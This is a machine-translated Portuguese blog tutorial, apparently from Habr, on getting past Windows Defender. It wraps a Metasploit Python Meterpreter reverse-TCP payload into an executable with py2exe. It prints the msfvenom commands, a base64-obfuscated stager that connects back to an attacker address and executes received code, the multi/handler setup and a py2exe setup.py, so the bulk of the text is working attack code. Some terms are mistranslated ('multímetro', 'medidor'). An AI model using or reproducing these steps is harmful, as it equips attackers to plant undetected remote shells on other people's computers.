Navegando pelo Windows Defender de maneira barata e divertida: sessão de meterpreter via python

imagem

Olá pessoal. Hoje, consideraremos a opção de executar sessões de multímetro em uma máquina Windows 10 com os patches mais recentes (incluindo o Windows Defender). E também vamos ignorar antivírus. O Meterpreter é um enchimento multifuncional avançado (carga útil, carga), que pode ser expandido dinamicamente em tempo de execução. Em circunstâncias normais, isso fornece um shell básico e permite adicionar novos recursos a ele, conforme necessário.
Vamos fazer isso usando Python e ver como as ferramentas antivírus se comportam.

Prevendo a pergunta: “Precisamos do Python na máquina vítima para executar o exe?”, Responderei imediatamente - não, não é necessário, tudo já está dentro.

Neste artigo, usaremos:

  • Windows 10 com Windows Defender ativado com bancos de dados atualizados (computador vítima 192.168.1.113);
  • Kali linux para usar metasploit e msfvenom (192.168.1.126);
  • Windows 10 para montar o binário (em nosso laboratório, ele combina com o computador da vítima) com os instalados;
  • Python (3, mas também para 2, veremos);
  • py2exe .

Para começar, descrevemos o problema: crie um arquivo exe com uma carga padrão, copie-o para a máquina da vítima e veja o que ele leva.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

Recebemos um aviso do nosso velho amigo Windows Defender, a quem todos gostamos muito.

imagem

Se perguntarmos ao VirusTotal, ele dirá o seguinte:

imagem

Vamos rodar o Python e fazer o que todos nós fazemos juntos.

Python / meterpreter / reverse_tcp é um Metasploit Framework de carga útil entre plataformas único que permite controlar remotamente um computador comprometido. Não é necessário pensar em qual plataforma escolher; ela funcionará em qualquer uma, mas, neste caso, criaremos um arquivo executável para ele no Windows.

Primeiro, instale o pacote py2exe, que permite tornar o Windows executável a partir de um script Python.

Nós o teremos Python 3.4 (todas as opções acima não suportam py2exe).

 py -3.4 –m pip install py2exe 

ou

 pip install py2exe 

Em seguida, crie um código Python bruto com a extensão .py

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

Também na saída do msfvenom, precisamos adicionar a importação getpass, que ele esquece de fazer sozinho. No final, deve ficar assim:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

Agora estamos prontos para criar um binário.

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

Você deve obter o seguinte:

imagem

Vejamos novamente o VirusTotal:

imagem

Já melhor, agora vamos verificar em ação - depois de copiar para a máquina da vítima, ficaremos sem alertas.

Paralelamente, execute nosso msf e manipulador para python executando os seguintes comandos em sequência:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

imagem

Vamos em frente e verifique se a sessão está funcionando corretamente.

imagem

Assim, a sessão é iniciada e o Windows Defender não funcionou, e era o que estávamos almejando.

Ao mesmo tempo, vejamos o que fazer se você tiver a versão 2 do Python.

  1. Baixar py2exe para python 2
  2. Gere carga útil com extensão .py
  3. Criamos o arquivo setup.py e escrevemos o seguinte lá:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


Tudo deve ser o mesmo.

Como resultado, notei que o shell do medidor python é inferior em funcionalidade ao medidor mais familiar do Windows. Por exemplo, você não poderá migrar para o processo ou usar comandos como o sistema gets, mas, no entanto, essa é uma alternativa real: obtenha uma sessão para trabalhar com o msf (pelo menos roteamento e portfwd) e continue trabalhando dentro da rede.

Source: https://habr.com/ru/post/pt459168/


All Articles